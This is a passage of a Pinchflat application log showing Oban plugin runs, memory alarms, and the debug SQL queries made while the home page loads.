{"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:30.685 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 18:41:40.307 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.924 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:10.309 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:30.689 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:42:40.311 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.925 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:10.314 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:40.316 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.927 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:10.318 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:40.320 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.929 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:10.323 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:40.325 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.933 [info] {"source":"oban","duration":2839,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:10.327 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:40.336 [info] {"source":"oban","duration":6714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.934 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:10.338 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:40.340 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.935 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:10.342 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:40.344 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.936 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:10.346 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:40.348 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.937 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:10.350 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:40.352 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.938 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:10.354 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:40.356 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.940 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:10.358 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:40.360 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.941 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:10.363 [info] {"source":"oban","duration":2327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:40.365 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.946 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:10.367 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:40.370 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.948 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:10.372 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:40.374 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.949 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:10.377 [info] {"source":"oban","duration":2224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:40.379 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.950 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:10.381 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:40.383 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.952 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:10.387 [info] {"source":"oban","duration":2661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:40.389 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.953 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:10.393 [info] {"source":"oban","duration":3521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:40.397 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.955 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:00:10.399 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:40.402 [info] {"source":"oban","duration":2275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.956 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:10.404 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:40.406 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.957 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:10.408 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:40.410 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.958 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:10.412 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:30.786 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:03:40.414 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.965 [info] {"source":"oban","duration":5678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:10.418 [info] {"source":"oban","duration":3503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:40.425 [info] {"source":"oban","duration":5626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.967 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:03.034 [info] GET / 19:05:03.036 [info] GET / 19:05:03.036 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:05:03.036 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:05:03.046 [debug] QUERY OK source="settings" db=2.1ms queue=0.2ms idle=1191.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:03.051 [debug] QUERY OK source="settings" db=4.3ms idle=1098.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:03.087 [debug] QUERY OK source="media_profiles" db=25.8ms queue=1.2ms idle=208.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:05:03.087 [debug] QUERY OK source="media_profiles" db=26.2ms queue=0.1ms idle=209.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:05:03.133 [debug] QUERY OK source="sources" db=44.3ms idle=42.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:05:03.133 [debug] QUERY OK source="sources" db=44.7ms idle=138.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:05:06.733 [debug] QUERY OK source="media_items" db=3599.2ms queue=0.1ms idle=46.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:06.733 [debug] QUERY OK source="media_items" db=3.6e3ms queue=0.4ms idle=82.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:07.208 [debug] QUERY OK source="media_items" db=474.6ms queue=0.2ms idle=3600.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:07.209 [debug] QUERY OK source="media_items" db=473.0ms queue=0.6ms idle=1697.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:07.218 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=483.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:07.222 [debug] QUERY OK source="settings" db=3.7ms queue=0.6ms idle=484.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:07.227 [debug] QUERY OK source="settings" db=4.4ms queue=0.1ms idle=14.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:07.229 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=18.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:07.249 [debug] QUERY OK source="settings" db=2.8ms queue=0.1ms idle=28.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:07.267 [debug] QUERY OK source="settings" db=19.8ms queue=0.6ms idle=34.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:07.384 [debug] QUERY OK source="tasks" db=7.5ms queue=1.9ms idle=147.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:05:07.436 [debug] QUERY OK source="tasks" db=62.9ms queue=0.1ms idle=150.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:05:07.681 [debug] QUERY OK source="media_items" db=244.5ms queue=0.1ms idle=207.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:07.681 [debug] QUERY OK source="media_items" db=243.5ms queue=0.1ms idle=188.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:07.693 [debug] QUERY OK source="media_items" db=6.8ms idle=300.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:05:07.705 [debug] QUERY OK source="media_items" db=20.5ms queue=0.6ms idle=418.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:05:07.712 [debug] QUERY OK source="sources" db=5.6ms queue=0.3ms idle=24.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 19:05:07.717 [debug] QUERY OK source="sources" db=11.2ms queue=1.2ms idle=268.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 19:05:07.779 [debug] QUERY OK source="media_items" db=4.0ms idle=93.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:05:07.793 [debug] QUERY OK source="media_items" db=16.9ms idle=83.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:05:07.843 [debug] QUERY OK source="media_items" db=59.9ms queue=0.2ms idle=76.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:05:07.844 [debug] QUERY OK source="media_items" db=51.1ms queue=0.1ms idle=81.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:05:07.862 [info] Sent 200 in 4827ms 19:05:07.863 [info] Sent 200 in 4827ms 19:05:10.426 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:20.228 [info] GET / 19:05:20.229 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:05:20.232 [debug] QUERY OK source="settings" db=1.2ms queue=0.2ms idle=1494.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:20.234 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=977.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:05:20.235 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=498.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:05:20.236 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=499.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:20.238 [debug] QUERY OK source="media_items" db=1.5ms idle=500.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:20.241 [debug] QUERY OK source="settings" db=1.8ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:20.243 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:20.245 [debug] QUERY OK source="settings" db=0.4ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:20.249 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=11.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:05:20.250 [debug] QUERY OK source="media_items" db=0.6ms idle=11.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:20.254 [debug] QUERY OK source="media_items" db=3.4ms queue=0.6ms idle=9.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" 